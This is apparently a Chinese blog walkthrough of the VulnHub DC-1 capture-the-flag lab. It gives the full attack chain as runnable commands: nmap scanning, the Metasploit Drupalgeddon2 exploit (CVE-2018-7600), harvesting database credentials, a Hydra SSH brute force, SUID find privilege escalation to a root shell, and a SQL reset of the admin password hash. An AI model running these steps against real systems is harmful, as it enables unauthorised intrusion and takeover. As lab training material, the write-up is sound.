標(biāo)簽:Drupal CMS、CVE-2018-7600、drupal_drupalgeddon2漏洞、linux提權(quán)
0x00 環(huán)境準(zhǔn)備
下載地址:https://www.vulnhub.com/entry/dc-1,292/
flag數(shù)量:5
攻擊機:kali
攻擊機地址:192.168.5.4
靶機描述:
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
0x01 信息搜集
1.探測靶機地址
命令:arp-scan -l

靶機地址是192.168.5.5
2.探測靶機開放端口
命令:nmap -sV -p- 192.168.5.5

目前來看,可以做的事有:①嘗試爆破SSH弱口令。②從80端口找web漏洞。
先看一下80端口吧。

發(fā)現(xiàn)是Drupal CMS

0x02 drupal_drupalgeddon2漏洞
通過查詢發(fā)現(xiàn),該版本下存在許多漏洞,包括sql注入,遠程命令執(zhí)行等,打開msf看一下有沒有利用腳本。
root@locahost:~# msfconsole
msf5 > search drupal

使用exploit/unix/webapp/drupal_drupalgeddon2漏洞攻擊,因為它時間比較新,而且rank為excellent。
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options(查看需要設(shè)置哪些參數(shù))
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.5.5
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
利用成功了:

使用shell命令,進入到靶機命令行
meterpreter > shell

使用ls命令,可以看到當(dāng)前目錄有一個flag1.txt文件,使用cat命令查看

這應(yīng)該是一個提示,那就看一下它的配置文件,百度一下目錄結(jié)構(gòu)。

看一下./sites/default/settings.php文件里有沒有flag

這里發(fā)現(xiàn)了flag2提示,并且還看到了數(shù)據(jù)庫的用戶名和密碼dbuser \ R0ck3t。這里的提示大概意思是“蠻力和字典攻擊并不是獲得訪問權(quán)限的唯一方法”。這里的提示沒有什么思路,先看一下/etc/passwd文件吧。
passwd文件存放在/etc目錄下。這個文件存放著所有用戶帳號的信息,包括用戶名和密碼。Passwd文件由許多條記錄組成,每條記錄占一行,記錄了一個用戶帳號的所有信息。每條記錄由7個字段組成,字段間用冒號“:”隔開,其格式如下:
username:password:User ID:Group ID:comment:home directory:shell

0x03 hydra爆破SSH
這里有個用戶名為flag4的用戶,之前掃描端口的時候靶機還開著22端口,嘗試使用hydra爆破22端口。這里的字典使用的是kali自帶的字典,kali默認密碼字典在/usr/share/wordlists/目錄下。
命令:hydra -l flag4 -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 50 ssh://192.168.5.5
-l 單個用戶名,大寫是用戶名文件
-P 密碼文件,小寫是單個密碼
-t 設(shè)置線程數(shù)

可以看到爆破出來了flag4 \ orange,登錄一下看看:
命令:ssh flag4@192.168.5.5

0x04 提權(quán)
ls看一下當(dāng)前目錄,發(fā)現(xiàn)了flag4.txt文件,cat查看,給的提示大概意思是“你能用同樣的方法找到root的flag嗎?”。應(yīng)該是要我們提權(quán)到root。
linux下的提權(quán)我還沒試過,就去找了一下大佬們的教程,所以這里我就不細說了,我會把文章里用到的所有鏈接都貼到結(jié)尾。下面開始提權(quán)。
以下命令將嘗試查找具有root權(quán)限的SUID的文件,不同系統(tǒng)適用于不同的命令,一個一個試。
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

這里只有第一個命令可以執(zhí)行,第二個和第三個都不行,所以就用第一個。
接下來隨便找一個命令進行利用,我們就用find,先查看其信息,發(fā)現(xiàn)其確實是root用戶權(quán)限的SUID的文件。
命令:ls -lh /usr/bin/find

創(chuàng)建一個文件夾:touch getflag
執(zhí)行命令:find / -type f -name getflag -exec "whoami" \;

可以看到現(xiàn)在的身份是root了
執(zhí)行命令:
find / -type f -name getflag -exec "/bin/sh" \;
cd /root
ls
進入到root目錄下發(fā)現(xiàn)了thefinalflag.txt,也就是最后一個flag,那flag3去哪了?

0x05 遺漏的flag3
回想一下剛才得到的信息還有哪里沒有用到,剛才在配置文件中看到了數(shù)據(jù)庫的賬號密碼,那我們?nèi)?shù)據(jù)中看一下是不是藏著flag3。
命令:mysql -udbuser -p
輸入密碼進入到數(shù)據(jù)庫,數(shù)據(jù)庫命令后面一定要加分號。
查看數(shù)據(jù)庫:show databases;
使用指定數(shù)據(jù)庫:use drupaldb;

查看當(dāng)前庫下的數(shù)據(jù)表:show tables;
并沒有看到flag3的蹤影,那就看一user表吧,拿個admin賬號密碼去登錄一下web系統(tǒng)。

命令:select * from users;

woc,這密碼的加密方式讓我一臉懵逼,那就試一下修改admin密碼吧,在網(wǎng)上找到了修改語句update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';?,F(xiàn)在admin的賬號密碼就是admin \ password了。

成功登錄,在dashboard中找到了flag3。


截止到這里,5個flag就已經(jīng)全部找到了。
由于我不會每天都登錄簡書,所以有什么私信或者評論我都不能及時回復(fù),如果想要聯(lián)系我最好給我發(fā)郵件,郵箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果發(fā)郵件請備注“簡書”